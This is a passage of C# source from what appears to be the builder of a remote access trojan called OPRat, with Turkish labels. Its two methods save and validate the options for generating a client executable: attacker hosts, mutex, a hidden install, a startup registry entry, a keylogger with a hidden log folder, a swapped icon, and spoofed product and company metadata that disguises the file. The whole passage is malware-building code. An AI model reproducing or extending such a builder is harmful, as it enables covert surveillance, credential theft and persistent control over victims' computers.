private void SaveProfile(string profilename) { var profile = new KurulumProfili(profilename); profile.Etiket = txtTag.Text; profile.Hostlar = HostYardımcısı.GetRawHosts(_hosts); profile.Şifre = txtPassword.Text; profile.Gecikme = (int)numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; profile.ClientKurumu = chkInstall.Checked; profile.Yüklemeİsmi = txtInstallname.Text; profile.KurulumDizini = GetInstallPath(); profile.SubDirYükle = txtInstallsub.Text; profile.DosyaSakla = chkHide.Checked; profile.BaşlangıcaEkle = chkStartup.Checked; profile.RegistryName = txtRegistryKeyName.Text; profile.İkonDeğiştir = chkChangeIcon.Checked; profile.IconPath = txtIconPath.Text; profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; profile.Keylogger = chkKeylogger.Checked; profile.LogDirectoryName = txtLogDirectoryName.Text; profile.HideLogDirectory = chkHideLogDirectory.Checked; profile.Ürünİsmi = txtProductName.Text; profile.Açıklama = txtDescription.Text; profile.Şirketİsmi = txtCompanyName.Text; profile.TelifHakkı = txtCopyright.Text; profile.Trademarks = txtTrademarks.Text; profile.OriginalFilename = txtOriginalFilename.Text; profile.ÜrünVersiyonu = txtProductVersion.Text; profile.DosyaVersiyonu = txtFileVersion.Text; }
private KurulumAyarları ValidateInput() { var options = new KurulumAyarları(); if (!CheckForEmptyInput()) { MessageBox.Show("Lütfen gerekli bütün boşlukları doldurunuz!", "Build Başarısız!", MessageBoxButtons.OK, MessageBoxIcon.Information); return(options); } options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; options.RawHosts = HostYardımcısı.GetRawHosts(_hosts); options.Password = txtPassword.Text; options.Delay = (int)numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath(); options.InstallSub = txtInstallsub.Text; options.InstallName = txtInstallname.Text + ".exe"; options.StartupName = txtRegistryKeyName.Text; options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; if (options.Password.Length < 3) { MessageBox.Show("Lütfen en az 3 karakterden oluşan güvenli bir şifre ayarlayınız..", "Build Başarısız!", MessageBoxButtons.OK, MessageBoxIcon.Warning); return(options); } if (!File.Exists("client.bin")) { MessageBox.Show( "\"client.bin\" dosyası bulunamadı. OPRat ile aynı klasör içerisinde olduğundan emin olunuz..", "Build Başarısız!", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (options.RawHosts.Length < 2) { MessageBox.Show("Lütfen bağlanılacak geçerli bir host adresi giriniz..", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (chkChangeIcon.Checked) { if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) { MessageBox.Show("Lütfen geçerli bir ikon dizini seçiniz.", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } } else { options.IconPath = string.Empty; } if (chkChangeAsmInfo.Checked) { if (!FormatYardımcısı.IsValidVersionNumber(txtProductVersion.Text)) { MessageBox.Show("Lütfen geçerli bir ürün version numarası giriniz.!\nÖrneğin: 1.2.3.4", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (!FormatYardımcısı.IsValidVersionNumber(txtFileVersion.Text)) { MessageBox.Show("Lütfen geçerli bir dosya version numarası giriniz.!\nÖrneğin: 1.2.3.4", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } options.AssemblyInformation = new string[8]; options.AssemblyInformation[0] = txtProductName.Text; options.AssemblyInformation[1] = txtDescription.Text; options.AssemblyInformation[2] = txtCompanyName.Text; options.AssemblyInformation[3] = txtCopyright.Text; options.AssemblyInformation[4] = txtTrademarks.Text; options.AssemblyInformation[5] = txtOriginalFilename.Text; options.AssemblyInformation[6] = txtProductVersion.Text; options.AssemblyInformation[7] = txtFileVersion.Text; } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Title = "Clienti Kaydet"; sfd.Filter = "Exeler *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Kuuhaku.exe"; if (sfd.ShowDialog() != DialogResult.OK) { return(options); } options.OutputPath = sfd.FileName; } if (string.IsNullOrEmpty(options.OutputPath)) { MessageBox.Show("Lütfen geçerli bir kaydetme klasörü seçiniz..", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } options.ValidationSuccess = true; return(options); }